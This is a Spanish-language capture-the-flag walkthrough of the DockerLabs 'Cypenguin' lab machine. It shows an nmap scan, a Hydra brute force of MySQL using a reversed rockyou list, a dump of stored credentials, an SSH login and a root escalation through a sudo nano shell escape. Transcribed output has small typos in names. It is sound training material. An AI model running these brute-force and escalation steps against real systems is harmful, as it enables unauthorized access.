

## 10. Máquina: Cypenguin (Fácil)

### 1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.

**Comando:** `nmap -sVC 172.17.0.2`

**Resultado:** Se encontraron los servicios ssh, http y mysql abiertos.

```
(root@kali) ~/home/kali
$ nmap -sVC 172.17.0.2
Starting Nmap 7.94SVN (https://nmap.org) at 2024-06-25 06:32 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000015s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 256 9e:6a:3f:89:de:9d:05:d9:94:32:73:8d:31:e0:a5:eb (ECDSA)
|_ 256 e7:ef:4f:4a:23:86:c9:55:0b:88:ba:8c:19:03:d0:9f (ED25519)
80/tcp    open  http     Apache/2.4.52 ((Ubuntu))
|_ http-server-header: Apache/2.4.52 (Ubuntu)
|_ http-title: Web de Capybaras
3306/tcp  open  mysql    MySQL 5.5.5-10.6.16-MariaDB-0ubuntu0.22.04.1
|_ mysql-info:
|_   Protocol: 10
|_   Version: 5.5.5-10.6.16-MariaDB-0ubuntu0.22.04.1
|_   Thread ID: 34
|_   Capabilities flags: 63486
|_   Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase,
|_   Cons, SupportsMultipleResults, SupportsMultipleStatements
|_   Status: Autocommit
|_   Salt: -?787]9A1n2Nrp"glX[
|_   Auth Plugin Name: mysql_native_password
|_   MAC Address: 02:42:AC:11:0B:02 (Unknown)
|_   Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.90 seconds
```

### 2. Inspección Servicio HTTP:

- Primeramente, vamos a navegar e inspeccionar la página web sobre el servicio HTTP abierto. Vemos un mensaje de:  
*Hola capybarouser, esta es una web de capybaras. He securizado mi password, ya no se encuentra al comienzo de la rockyou..., espero que nadie use el comando tac y se fije en las últimas passwords del rockyou, así que a continuación realizaremos la pista mostrada en la web.*

### 3. Ataque de fuerza bruta con Hydra y Reverse Rockyou:

- Realizamos un ataque de fuerza bruta contra el servicio mysql usando la herramienta *Hydra* utilizando el nombre de usuario Mario y las contraseñas de rockyou.txt, pero en orden invertido, como indica la pista. Además, las primeras líneas del *reverse\_rockyou.txt* vienen con caracteres no leíbles, por lo que hay que quitar estos para su utilización.

**Comandos:** `tac /usr/share/wordlists/rockyou.txt > rockyou_reverse.txt` '#(eliminando caracteres no leíbles inicio)

`hydra -l capybarouser -P rockyou_reverse.txt 172.17.0.2 mysql`

**Resultado:** Se encontró la contraseña "ie168" para el usuario "capybarouser".

```
(root@kali) ~/home/./Desktop/DockerLabs/Facil/cypenguin
$ hydra -l capybarouser -P rockyou_reverse.txt 172.17.0.2 mysql
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-25 06:34:22
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l1:p:14344399),
[DATA] attacking mysql://172.17.0.2:3306/
[3306][mysql] host: 172.17.0.2 login: capybarouser password: ie168
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-25 06:34:26
```

### 4. Conexión MYSQL a la máquina víctima:

- Nos conectamos al servicio mysql de la máquina víctima con las credenciales encontradas.

**Comando:** `mysql -u capybarouser -p -h 172.17.0.2`, contraseña: *ie168*

**Resultado:** Nos encontramos dentro del servicio mysql en el usuario *capybarouser* en la máquina víctima.

### 5. Queries MYSQL víctima navegación:

- Una vez dentro del servicio mysql, podemos ir navegando por ella usando queries y obteniendo la información pertinente sobre las bases de datos disponibles, tablas y entradas.

**Comandos:** `SHOW databases;` `USE pinguinasio_db;` `SHOW tables;` `SELECT * FROM users;`

**Resultado:** Obtenemos información del esquema mysql, obteniendo las entradas de los usuarios disponibles y sus respectivas contraseñas.

```

[root@kali:~/home/./Desktop/Dockerlabs/Facil/cappenguin]
# mysql -u copybaruser -p -h 172.17.0.2
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 51
Server version: 10.6.16-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| pinguinasio_db |
| sys |
+-----+
5 rows in set (0.001 sec)

MariaDB [(none)]> USE pinguinasio_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [pinguinasio_db]> SHOW tables;
+-----+
| Tables_in_pinguinasio_db |
+-----+
| users |
+-----+
1 row in set (0.001 sec)

MariaDB [pinguinasio_db]> SELECT * FROM users;
+----+-----+-----+
| id | user | password |
+----+-----+-----+
| 1 | mario | pinguinomolon123 |
+----+-----+-----+
1 row in set (0.001 sec)

```

## 6. Conexión SSH a la máquina víctima:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas en la tabla *users* del servicio mysql.

• **Comando:** `ssh mario@172.17.0.2`

• **Resultado:** Nos encontramos dentro del usuario *mario* en la máquina víctima (ingresando password *pinguinomolon123*)

## 7. Verificación de Permisos de Sudo para Mario:

- Una vez dentro del usuario mario, vamos a verificar los permisos que tiene este usuario sobre la máquina víctima.

• **Comandos:** `sudo -l` `find / -perm -4000 2>/dev/null`

• **Resultado:** Con `sudo -l`, descubrimos que puede ejecutar el binario `/usr/bin/nano` sin necesidad de contraseña: `(ALL : ALL) NOPASSWD: /usr/bin/nano`

## 8. Escalado de Privilegios para Mario:

- Habiendo observado que mario puede ejecutar binarios nano, buscamos un exploit en *Nano* para realizar la escalada de privilegios en [GTFOBins](#).

• **Comando:** `sudo nano` `CTRL+R -> CTRL+X` `reset; bash 1>&0 2>&0`

• **Resultado:** Ejecutamos el comando dentro del editor nano y obtenemos acceso como usuario root en la máquina víctima desde el usuario Mario. ¡Fin de la resolución!

```

GNU nano 6.2          New Buffer

root@1e8806b217ba:/home/mario# whoami
rootelp
root@1e8806b217ba:/home/mario# whoami
root
root@1e8806b217ba:/home/mario# whoami
root
root@1e8806b217ba:/home/mario# cd ..
root@1e8806b217ba:/home# ls
copybaruser  mario
root@1e8806b217ba:/home# xDaliK
bash: xDaliK: command not found
root@1e8806b217ba:/home#

```